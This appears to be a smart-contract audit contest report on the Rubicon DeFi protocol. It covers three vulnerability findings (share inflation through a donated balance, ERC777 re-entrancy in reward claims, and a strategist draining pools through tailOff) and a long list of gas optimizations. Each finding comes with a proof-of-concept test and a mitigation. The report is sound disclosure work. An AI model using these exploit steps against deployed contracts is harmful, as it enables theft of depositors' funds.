Rubicon contest - MiloTruck's results

Lines of code

https://github.com/RubiconDeFi/rubicon-protocol-v1/blob/master/contracts/rubiconPools/BathToken.sol#L569-L571

Vulnerability details

Impact

The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.

Proof of Concept

In BathToken.sol:569-571, the allocation of shares is calculated as follows:

(totalSupply == 0) ? shares = assets : shares = (
    assets.mul(totalSupply)
).div(_pool);

An early attacker can exploit this by:

• Attacker calls openBathTokenSpawnAndSignal() with initialLiquidityNew = 1, creating a new bath token with totalSupply = 1
• Attacker transfers a large amount of underlying tokens to the bath token contract, such as 1000000
• Using deposit(), a victim deposits an amount less than 1000000, such as 1000:
  • assets = 1000
  • (assets * totalSupply) / _pool = (1000 * 1) / 1000000 = 0.001, which would round down to 0
  • Thus, the victim receives no shares in return for his deposit

To avoid minting 0 shares, subsequent depositors have to deposit equal to or more than the amount transferred by the attacker. Otherwise, their deposits accrue to the attacker who holds the only share.

it("Victim receives 0 shares", async () => {
    // 1. Attacker deposits 1 testCoin first when creating the liquidity pool
    const initialLiquidityNew = 1;
    const initialLiquidityExistingBathToken = ethers.utils.parseUnits("100", decimals);
    
    // Approve DAI and testCoin for bathHouseInstance
    await testCoin.approve(bathHouseInstance.address, initialLiquidityNew, {
        from: attacker,
    });
    await DAIInstance.approve(
        bathHouseInstance.address,
        initialLiquidityExistingBathToken,
        { from: attacker }
    );

    // Call open creation function, attacker deposits only 1 testCoin
    const desiredPairedAsset = await DAIInstance.address;
    await bathHouseInstance.openBathTokenSpawnAndSignal(
        await testCoin.address,
        initialLiquidityNew,
        desiredPairedAsset,
        initialLiquidityExistingBathToken,
        { from: attacker }
    );
    
    // Retrieve resulting bathToken address
    const newbathTokenAddress = await bathHouseInstance.getBathTokenfromAsset(testCoin.address);
    const _newBathToken = await BathToken.at(newbathTokenAddress);

    // 2. Attacker deposits large amount of testCoin into liquidity pool
    let attackerAmt = ethers.utils.parseUnits("1000000", decimals);
    await testCoin.approve(newbathTokenAddress, attackerAmt, {from: attacker});
    await testCoin.transfer(newbathTokenAddress, attackerAmt, {from: attacker});

    // 3. Victim deposits a smaller amount of testCoin, receives 0 shares
    // In this case, we use (1 million - 1) testCoin
    let victimAmt = ethers.utils.parseUnits("999999", decimals);
    await testCoin.approve(newbathTokenAddress, victimAmt, {from: victim});
    await _newBathToken.deposit(victimAmt, victim, {from: victim});
    
    assert.equal(await _newBathToken.balanceOf(victim), 0);
});

Recommended Mitigation Steps

• Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address. The same can be done in this case i.e. when totalSupply() == 0, send the first min liquidity LP tokens to the zero address to enable share dilution.
• In _deposit(), ensure the number of shares to be minted is non-zero:
  require(shares != 0, "No shares minted");

    // **Assume caller is depositor**
    underlyingToken.safeTransferFrom(msg.sender, address(this), assets);
    uint256 _after = underlyingToken.balanceOf(address(this));
    assets = _after.sub(_before); // Additional check for deflationary tokens

    if (totalSupply == 0) {
        uint minLiquidityShare = 10**3;
        shares = assets.sub(minLiquidityShare);
        // Handle protecting from an initial supply spoof attack
        _mint(address(0), (minLiquidityShare));
    } else {
        shares = (assets.mul(totalSupply)).div(_pool);
    }

    // Send shares to designated target
    _mint(receiver, shares);

    require(shares != 0, "No shares minted");
    emit LogDeposit(
        assets,
        underlyingToken,
        shares,
        msg.sender,
        underlyingBalance(),
        outstandingAmount,
        totalSupply
    );
    emit Deposit(msg.sender, msg.sender, assets, shares);
}

Lines of code

https://github.com/RubiconDeFi/rubicon-protocol-v1/blob/master/contracts/rubiconPools/BathPair.sol#L591-L625

Vulnerability details

Impact

If a strategist calls strategistBootyClaim() on an asset or quote that implements ERC777 tokens, the function is vulnerable to re-entrancy. This allows strategists to claim more rewards than allocated to them based on their quantity of fills.

Proof of Concept

A strategist calls strategistBootyClaim(), with asset or quote as an ERC777 token that he has completed a fill for:

• When the function calls IERC20(asset).transfer(msg.sender, booty), ERC777 will call the _callTokensReceived() hook.
• The strategist calls strategistBootyClaim() in _callTokensReceived() with the same parameters.
• As fillCountA/fillCountQ is subtracted from strategist2Fills after the transfer, the strategist can repeatedly withdraw tokens, regardless of strategist2Fills.
• This allows him to withdraw more tokens than allocated to him.

function strategistBootyClaim(address asset, address quote)
    external
    onlyApprovedStrategist(msg.sender)
{
    uint256 fillCountA = strategist2Fills[msg.sender][asset];
    uint256 fillCountQ = strategist2Fills[msg.sender][quote];
    if (fillCountA > 0) {
        uint256 booty = (
            fillCountA.mul(IERC20(asset).balanceOf(address(this)))
        ).div(totalFillsPerAsset[asset]);
        IERC20(asset).transfer(msg.sender, booty);
        emit LogStrategistRewardClaim(
            msg.sender,
            asset,
            booty,
            block.timestamp
        );
        totalFillsPerAsset[asset] -= fillCountA;
        strategist2Fills[msg.sender][asset] -= fillCountA;
    }
    if (fillCountQ > 0) {
        uint256 booty = (
            fillCountQ.mul(IERC20(quote).balanceOf(address(this)))
        ).div(totalFillsPerAsset[quote]);
        IERC20(quote).transfer(msg.sender, booty);
        emit LogStrategistRewardClaim(
            msg.sender,
            quote,
            booty,
            block.timestamp
        );
        totalFillsPerAsset[quote] -= fillCountQ;
        strategist2Fills[msg.sender][quote] -= fillCountQ;
    }
}

Recommended Mitigation Steps

• Use the nonReentrancy modifier on strategistBootyClaim() to prevent re-entrancy attacks:
  Openzeppelin/ReentrancyGuard.sol
• Adhere to the Check-Effects-Interactions pattern by transferring tokens to msg.sender at the end of the function.

Lines of code

https://github.com/RubiconDeFi/rubicon-protocol-v1/blob/master/contracts/rubiconPools/BathPair.sol#L535-L552 https://github.com/RubiconDeFi/rubicon-protocol-v1/blob/master/contracts/rubiconPools/BathToken.sol#L346-L357

Vulnerability details

Impact

By calling the tailOff() function in BathPair.sol, any approved strategist has the ability to completely drain tokens from any liquidity pool.

Even if this is the intended functionality, this potential risk should be made known to users.

Proof of Concept

In BathPair.sol, tailOff() forwards calls to rebalance() in BathToken.sol as follows:

function tailOff(
    address targetPool,
    address tokenToHandle,
    address targetToken,
    address _stratUtil, // delegatecall target
    uint256 amount, //fill amount to handle
    uint256 hurdle, //must clear this on tail off
    uint24 _poolFee
) external onlyApprovedStrategist(msg.sender) {
    // transfer here
    uint16 stratRewardBPS = IBathHouse(bathHouse).getBPSToStrats();

    IBathToken(targetPool).rebalance(
        _stratUtil,
        tokenToHandle,
        stratRewardBPS,
        amount
    );

Other than stratProportion, a strategist has the ability to control all parameters of rebalance(), which allows them to transfer tokens out of a liquidity pool, as seen in BathToken.sol:353-356:

IERC20(filledAssetToRebalance).transfer(
    destination,
    rebalAmt.sub(stratReward)
);

An approved strategist could call tailOff() with the following parameters:

• targetPool - The target liquidity pool to drain
• tokenToHandle - The underlying token of the liquidity pool
• targetToken - Any random address
• _stratUtil - Address of the attacker contract. It must implement a UNIdump() function.
• amount - The amount of underlying token to drain
• hurdle and _poolFee - Any valid uint

it("Strategist can drain any liquidity pool", async () => {
    // Approve strategist
    let strategist = accounts[1];
    await bathHouseInstance.approveStrategist(strategist);

    // Check balance left in bathDAI contract
    let balanceDAI = await DAIInstance.balanceOf(bathDAI.address);
    assert.equal(balanceDAI > 0, true);
    
    // Drain DAI from bathDAI contract using tailOff()
    // attackerContract contains with an empty UNIdump() function, compliant with IStrategistUtility 
    await bathPairInstance.tailOff(
        bathDAI.address,
        DAIInstance.address, 
        randomAddress,
        attackerContract.address,
        balanceDAI,
        0,
        0,
        {from: strategist}
    );
    
    // Check if all DAI drained from contract
    let final_balanceDAI = await DAIInstance.balanceOf(bathDAI.address);
    assert.equal(final_balanceDAI, 0);
});

Recommended Mitigation Steps

Maintain a whitelist of external pools tailOff() can be used to send tokens to, and revert all other non-listed addresses.

Gas Optimizations Report

For-Loops: Cache array length outside of loops

Reading an array length at each iteration of the loop takes 6 gas (3 for mload and 3 to place memory_offset) in the stack.

Caching the array length in the stack saves around 3 gas per iteration.

For example:

for (uint256 i; i < arr.length; ++i) {}

can be changed to:

uint256 len = arr.length;
for (uint256 i; i < len; ++i) {}

Consider making the following change to these lines:

contracts/rubiconPools/BathToken.sol:
 635:        for (uint256 index = 0; index < bonusTokens.length; index++) {

contracts/rubiconPools/BathPair.sol:
 311:        for (uint256 index = 0; index < array.length; index++) {
 582:        for (uint256 index = 0; index < ids.length; index++) {

For-Loops: Index increments can be left unchecked

From Solidity v0.8 onwards, all arithmetic operations come with implicit overflow and underflow checks.

In for-loops, as it is impossible for the index to overflow, it can be left unchecked to save gas every iteration.

For example, the code below:

for (uint256 i; i < numIterations; ++i) {  
    // ...  
}  

can be changed to:

for (uint256 i; i < numIterations;) {  
    // ...  
    unchecked { ++i; }  
}  

Consider making the following change to these lines:

contracts/RubiconRouter.sol:
  85:        for (uint256 index = 0; index < topNOrders; index++) {
 169:        for (uint256 i = 0; i < route.length - 1; i++) {
 227:        for (uint256 i = 0; i < route.length - 1; i++) {

contracts/rubiconPools/BathToken.sol:
 635:        for (uint256 index = 0; index < bonusTokens.length; index++) {

contracts/rubiconPools/BathPair.sol:
 311:        for (uint256 index = 0; index < array.length; index++) {
 427:        for (uint256 index = 0; index < quantity; index++) {
 480:        for (uint256 index = 0; index < quantity; index++) {
 582:        for (uint256 index = 0; index < ids.length; index++) {

Arithmetics: ++i costs less gas compared to i++ or i += 1

++i costs less gas compared to i++ or i += 1 for unsigned integers, as pre-increment is cheaper (about 5 gas per iteration). This statement is true even with the optimizer enabled.

i++ increments i and returns the initial value of i. Which means:

uint i = 1;  
i++; // == 1 but i == 2  

But ++i returns the actual incremented value:

uint i = 1;  
++i; // == 2 and i == 2 too, so no need for a temporary variable  

In the first case, the compiler has to create a temporary variable (when used) for returning 1 instead of 2, thus it costs more gas.

The same logic applies for --i and i--.

Consider using ++i instead of i++ or i += 1 in the following instances:

contracts/RubiconRouter.sol:
  85:        for (uint256 index = 0; index < topNOrders; index++) {
 169:        for (uint256 i = 0; i < route.length - 1; i++) {
 227:        for (uint256 i = 0; i < route.length - 1; i++) {

contracts/RubiconMarket.sol:
 436:        last_offer_id++;

contracts/peripheral_contracts/WETH9.sol:
 109:        share and change all versions of a program--to make sure it remains free

contracts/rubiconPools/BathToken.sol:
 635:        for (uint256 index = 0; index < bonusTokens.length; index++) {

contracts/rubiconPools/BathPair.sol:
 206:        last_stratTrade_id++;
 311:        for (uint256 index = 0; index < array.length; index++) {
 427:        for (uint256 index = 0; index < quantity; index++) {
 480:        for (uint256 index = 0; index < quantity; index++) {
 582:        for (uint256 index = 0; index < ids.length; index++) {

Arithmetics: Use != 0 instead of > 0 for unsigned integers

uint will never go below 0. Thus, > 0 is gas inefficient in comparisons as checking if != 0 is sufficient and costs less gas.

Consider changing > 0 to != 0 in these lines:

contracts/RubiconRouter.sol:
 354:        if (delta > 0) {

contracts/RubiconMarket.sol:
 233:        return offers[id].timestamp > 0;
 400:        require(pay_amt > 0);
 402:        require(buy_amt > 0);
 837:        while (pay_amt > 0) {
 876:        while (buy_amt > 0) {
 918:        if (pay_amt > 0) {
 942:        if (buy_amt > 0) {
 985:        require(id > 0);
1002:        require(id > 0);
1063:        while (_best[address(t_buy_gem)][address(t_pay_gem)] > 0) {
1099:        t_buy_amt > 0 &&
1100:        t_pay_amt > 0 &&
1175:        require(_span[pay_gem][buy_gem] > 0);
1217:        while (uid > 0 && uid != id) {

contracts/peripheral_contracts/BathBuddy.sol:
 102:        if (releasable > 0) {

contracts/rubiconPools/BathToken.sol:
 634:        if (bonusTokens.length > 0) {

contracts/rubiconPools/BathHouse.sol:
 111:        require(_reserveRatio > 0);
 281:        require(rr > 0);

contracts/rubiconPools/BathPair.sol:
 232:        if (askDelta > 0) {
 252:        if (bidDelta > 0) {
 333:        (askNumerator > 0 && askDenominator > 0) ||
 334:        (bidNumerator > 0 && bidDenominator > 0),
 515:        if (assetRebalAmt > 0) {
 523:        if (quoteRebalAmt > 0) {
 597:        if (fillCountA > 0) {
 611:        if (fillCountQ > 0) {

Visibility: Consider declaring constants as non-public to save gas

If a constant is not used outside of its contract, declaring it as private or internal instead of public can save gas.

Consider changing the visibility of the following from public to internal or private:

contracts/peripheral_contracts/TokenWithFaucet.sol:
  16:        string public constant version = "1";

Visibility: public functions can be set to external

Calls to external functions are cheaper than public functions. Thus, if a function is not used internally in any contract, it should be set to external to save gas and improve code readability.

Consider changing following functions from public to external:

contracts/RubiconRouter.sol:
  55:        function getBookFromPair(
  56:            ERC20 asset,
  57:            ERC20 quote,
  58:            uint256 topNOrders
  59:        )
  60:            public
  61:            view
  62:            returns (
  63:                uint256[3][] memory,
  64:                uint256[3][] memory,
  65:                uint256
  66:            )
  67:        {

 129:        function getBestOfferAndInfo(address asset, address quote)
 130:            public
 131:            view
 132:            returns (
 133:                uint256, //id
 134:                uint256,
 135:                ERC20,
 136:                uint256,
 137:                ERC20
 138:            )
 139:        {

 161:        function getExpectedSwapFill(
 162:            uint256 pay_amt,
 163:            uint256 buy_amt_min,
 164:            address[] calldata route, // First address is what is being payed, Last address is what is being bought
 165:            uint256 expectedMarketFeeBPS //20
 166:        ) public view returns (uint256 fill_amt) {

 194:        function swap(
 195:            uint256 pay_amt,
 196:            uint256 buy_amt_min,
 197:            address[] calldata route, // First address is what is being payed, Last address is what is being bought
 198:            uint256 expectedMarketFeeBPS //20
 199:        ) public returns (uint256) {

contracts/peripheral_contracts/BathBuddy.sol:
  81:        function released(address token) public view returns (uint256) {

contracts/rubiconPools/BathToken.sol:
 383:        function asset() public view returns (address assetTokenAddress) {

 416:        function maxDeposit(address receiver)
 417:            public
 418:            pure
 419:            returns (uint256 maxAssets)
 420:        {

 425:        function previewDeposit(uint256 assets)
 426:            public
 427:            view
 428:            returns (uint256 shares)
 429:        {

 441:        function deposit(uint256 assets, address receiver)
 442:            public
 443:            returns (uint256 shares)
 444:        {

 450:        function maxMint(address receiver) public pure returns (uint256 maxShares) {

 464:        function mint(uint256 shares, address receiver)
 465:            public
 466:            returns (uint256 assets)
 467:        {

 475:        function maxWithdraw(address owner)
 476:            public
 477:            view
 478:            returns (uint256 maxAssets)
 479:        {

 505:        function withdraw(
 506:            uint256 assets,
 507:            address receiver,
 508:            address owner
 509:        ) public returns (uint256 shares) {

 525:        function maxRedeem(address owner) public view returns (uint256 maxShares) {

 531:        function previewRedeem(uint256 shares)
 532:            public
 533:            view
 534:            returns (uint256 assets)
 535:        {

 542:        function redeem(
 543:            uint256 shares,
 544:            address receiver,
 545:            address owner
 546:        ) public returns (uint256 assets) {

contracts/rubiconPools/BathHouse.sol:
 359:        function getBPSToStrats() public view returns (uint8) {
 382:        function isApprovedPair(address pair) public view returns (bool outcome) {

contracts/rubiconPools/BathPair.sol:
 631:        function getOutstandingStrategistTrades(
 632:            address asset,
 633:            address quote,
 634:            address strategist
 635:        ) public view returns (uint256[] memory) {

Errors: Reduce the length of error messages (long revert strings)

Shortening revert strings to fit in 32 bytes will decrease deployment time gas and will decrease runtime gas when the revert condition is met.

Revert strings that are longer than 32 bytes require at least one additional mstore, along with additional overhead for computing memory offset, etc.

In these instances, consider shortening the revert strings to fit within 32 bytes, or using custom errors:

contracts/RubiconMarket.sol:
 571:        require(isActive(id), "Offer was deleted or taken, or never existed.");

contracts/peripheral_contracts/ERC20.sol:
 269:        require(sender != address(0), "ERC20: transfer from the zero address");
 270:        require(recipient != address(0), "ERC20: transfer to the zero address");
 313:        require(account != address(0), "ERC20: burn from the zero address");
 343:        require(owner != address(0), "ERC20: approve from the zero address");
 344:        require(spender != address(0), "ERC20: approve to the zero address");

contracts/rubiconPools/BathToken.sol:
 470:        require(_shares == shares, "did not mint expected share count");

contracts/rubiconPools/BathPair.sol:
 318:        require(assigned, "Didnt Find that element in live list, cannot scrub");

contracts/proxy/Address.sol:
 188:        require(isContract(target), "Address: static call to non-contract");
 224:        require(isContract(target), "Address: delegate call to non-contract");

Errors: Use custom errors instead of revert strings

Since Solidity v0.8.4, custom errors should be used instead of revert strings due to:

• Cheaper deployment cost
• Lower runtime cost upon revert

Taken from Custom Errors in Solidity:

Starting from Solidity v0.8.4, there is a convenient and gas-efficient way to explain to users why an operation failed through the use of custom errors. Until now, you could already use strings to give more information about failures (e.g., revert("Insufficient funds.");), but they are rather expensive, especially when it comes to deploy cost, and it is difficult to use dynamic information in them.

Custom errors can be defined using of the error statement, both inside or outside of contracts.

Instances where custom errors can be used instead:

contracts/RubiconRouter.sol:
 185:        require(currentAmount >= buy_amt_min, "didnt clear buy_amt_min");
 247:        require(currentAmount >= buy_amt_min, "didnt clear buy_amt_min");
 461:        require(target == ERC20(wethAddress), "target pool not weth pool");
 462:        require(msg.value >= amount, "didnt send enough eth");
 481:        require(target == ERC20(wethAddress), "target pool not weth pool");
 500:        require(route[0] == wethAddress, "Initial value in path not WETH");

contracts/RubiconMarket.sol:
  28:        require(isAuthorized(msg.sender), "ds-auth-unauthorized");
  46:        require((z = x + y) >= x, "ds-math-add-overflow");
  50:        require((z = x - y) <= x, "ds-math-sub-underflow");
  54:        require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
 282:        require(uint128(spend) == spend, "spend is not an int");
 283:        require(uint128(quantity) == quantity, "quantity is not an int");
 552:        require(!initialized, "contract is already initialized");
 571:        require(isActive(id), "Offer was deleted or taken, or never existed.");
 618:        require(!locked, "Reentrancy attempt");
 645:        require(!locked, "Reentrancy attempt");
 661:        require(!locked, "Reentrancy attempt");
 684:        require(!locked, "Reentrancy attempt");
 701:        require(!locked, "Reentrancy attempt");
 714:        require(!locked, "Reentrancy attempt");
 835:        require(!locked, "Reentrancy attempt");
 874:        require(!locked, "Reentrancy attempt");

contracts/peripheral_contracts/WETH9.sol:
  74:        require(balanceOf[src] >= wad, "balance check failed");

contracts/peripheral_contracts/SafeMathE.sol:
   9:        require((z = x + y) >= x, "ds-math-add-overflow");
  13:        require((z = x - y) <= x, "ds-math-sub-underflow");
  17:        require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");

contracts/peripheral_contracts/ERC20.sol:
 269:        require(sender != address(0), "ERC20: transfer from the zero address");
 270:        require(recipient != address(0), "ERC20: transfer to the zero address");
 292:        require(account != address(0), "ERC20: mint to the zero address");
 313:        require(account != address(0), "ERC20: burn from the zero address");
 343:        require(owner != address(0), "ERC20: approve from the zero address");
 344:        require(spender != address(0), "ERC20: approve to the zero address");

contracts/rubiconPools/BathToken.sol:
 470:        require(_shares == shares, "did not mint expected share count");
 722:        require(deadline >= block.timestamp, "bathToken: EXPIRED");

contracts/rubiconPools/BathHouse.sol:
 395:        require(initialized, "BathHouse not initialized");

contracts/rubiconPools/BathPair.sol:
 318:        require(assigned, "Didnt Find that element in live list, cannot scrub");

contracts/proxy/Address.sol:
 149:        require(isContract(target), "Address: call to non-contract");
 188:        require(isContract(target), "Address: static call to non-contract");
 224:        require(isContract(target), "Address: delegate call to non-contract");

Unecessary initialization of variables with default values

Uninitialized variables are assigned with a default value depending on its type:

• uint: 0
• bool: false
• address: address(0)

Thus, explicitly initializing a variable with its default value costs unnecesary gas. For example, the following code:

bool b = false;
address c = address(0);
uint256 a = 0;
for (uint256 i = 0; i < length; ++i) {

can be changed to:

uint256 a;
bool b;
address c;
for (uint256 i; i < length; ++i) {

Consider declaring the following lines without explicitly setting a value:

contracts/RubiconRouter.sol:
  82:        uint256 lastBid = 0;
  83:        uint256 lastAsk = 0;
 168:        uint256 currentAmount = 0;
 226:        uint256 currentAmount = 0;

contracts/RubiconMarket.sol:
 990:        uint256 old_top = 0;

contracts/rubiconPools/BathPair.sol:
 310:        bool assigned = false;

Unnecessary definition of variables

Some variables are defined even though they are only used once in their respective functions. Not defining these variables can help to reduce gas cost and contract size.

Instances include:

contracts/RubiconRouter.sol:
 167:        address _market = RubiconMarketAddress;
 170:        (address input, address output)
 228:        (address input, address output)

contracts/RubiconMarket.sol:
 987:        address buy_gem = address(offers[id].buy_gem);
 988:        address pay_gem = address(offers[id].pay_gem);

contracts/rubiconPools/BathToken.sol:
 483:        uint256 ownerShares = balanceOf[owner];

contracts/rubiconPools/BathPair.sol:
 425:        uint256 quantity = askNumerators.length;
 478:        uint256 quantity = askNumerators.length;
 583:        uint256 _id = ids[index];

Storage variables should be declared immutable when possible

If a storage variable is assigned only in the constructor, it should be declared as immutable. This would help to reduce gas costs as calls to immutable variables are much cheaper than regular state variables, as seen from the Solidity Docs:

Compared to regular state variables, the gas costs of constant and immutable variables are much lower. Immutable variables are evaluated once at construction time and their value is copied to all the places in the code where they are accessed.

Consider declaring these variables as immutable:

contracts/peripheral_contracts/BathBuddy.sol:
  31:        address public beneficiary;
  32:        uint64 public start;
  33:        uint64 public duration;

Boolean comparisons

Comparing to a constant (true or false) is a bit more expensive than directly checking the boolean value.

Considering changing the following lines from var == true to var, or var == false to !var:

contracts/rubiconPools/BathToken.sol:
 228:        IBathHouse(bathHouse).isApprovedPair(msg.sender) == true,

contracts/rubiconPools/BathPair.sol:
 149:        IBathHouse(bathHouse).isApprovedStrategist(targetStrategist) ==
 150:            true,

contracts/rubiconPools/BathHouse.sol:
 372:        approvedStrategists[wouldBeStrategist] == true ||

Variables declared as constant are expressions, not constants

Due to how constant variables are implemented (replacements at compile-time), an expression assigned to a constant variable is recomputed each time that the variable is used, which wastes some gas.

If the variable was immutable instead: the calculation would only be done once at deploy time (in the constructor), and then the result would be saved and read directly at runtime rather than being recalculated.

See: ethereum/solidity#9232:

Consequences: each usage of a “constant” costs ~100 gas more on each access (it is still a little better than storing the result in storage, but not much). since these are not real constants, they can’t be referenced from a real constant environment (e.g. from assembly, or from another library)

contracts/RubiconMarket.sol:
  73:        uint256 constant WAD = 10**18;
  74:        uint256 constant RAY = 10**27;

Change these expressions from constant to immutable and implement the calculation in the constructor. Alternatively, hardcode these values in the constants and add a comment to say how the value was calculated.